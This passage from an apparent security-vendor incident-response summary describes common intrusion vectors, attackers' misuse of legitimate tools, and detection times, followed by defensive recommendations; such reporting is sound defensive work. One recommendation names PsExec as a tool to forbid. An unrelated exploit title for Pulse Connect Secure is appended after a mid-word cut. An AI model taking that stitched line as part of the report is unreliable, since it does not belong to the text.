\n\n### Verticals and industries\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05105442/sl_incident_response_02.png>)\n\nAdversaries used a variety of initial vectors to compromise victims' environments. Initial vectors included exploitation, misconfiguration, insiders, leaked credentials and malicious removable media. But the most common were exploitation of unpatched vulnerabilities, malicious emails, followed by brute-force attacks.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2020/08/05110209/sl_incident_response_03.png>)\n\nIn addition to exploiting vulnerabilities, adversaries used several legitimate tools in different attack phases. This made attacks harder to discover and allowed the adversaries to keep a low profile until their goals were achieved. Most of the legitimate tools were used for credential harvesting from live systems, evading security, network discovery and unloading security solutions.\n\nAlthough we started working on incidents the first day of a request in 70% of cases, analysis revealed that the time between attack success and its discovery varies between an average of one day in ransomware incidents to 10 days in cases of financial theft, up to 122 days in cyber-espionage and data-theft operations.\n\n## Recommendations\n\nBased on 2019 incident response insights, applying the following recommendations can help protect businesses from falling victim to similar attacks:\n\n * Apply complex password policies\n * Avoid management interfaces exposed to the internet\n * Only allow remote access for necessary external services with multi-factor authentication \u2013 with necessary privileges only\n * Regular system audits to identify vulnerable services and misconfigurations\n * Continually tune security tools to avoid false positives\n * Apply powerful audit policy with log retention period of at least six months\n * Monitor and investigate all alerts generated by security tools\n * Patch your publicly available services immediately\n * Enhance your email protection and employee awareness\n * Forbid use of PsExec to simplify security operations\n * Threat hunting with rich telemetry, specifically deep tracing of PowerShell to detect attacks\n * Quickly engage security operations after discovering incidents to reduce potential damage and/or data loss\n * Back up your data frequently and on separated infrastr
Exploit for Path Traversal in Pulsesecure Pulse Connect Secure
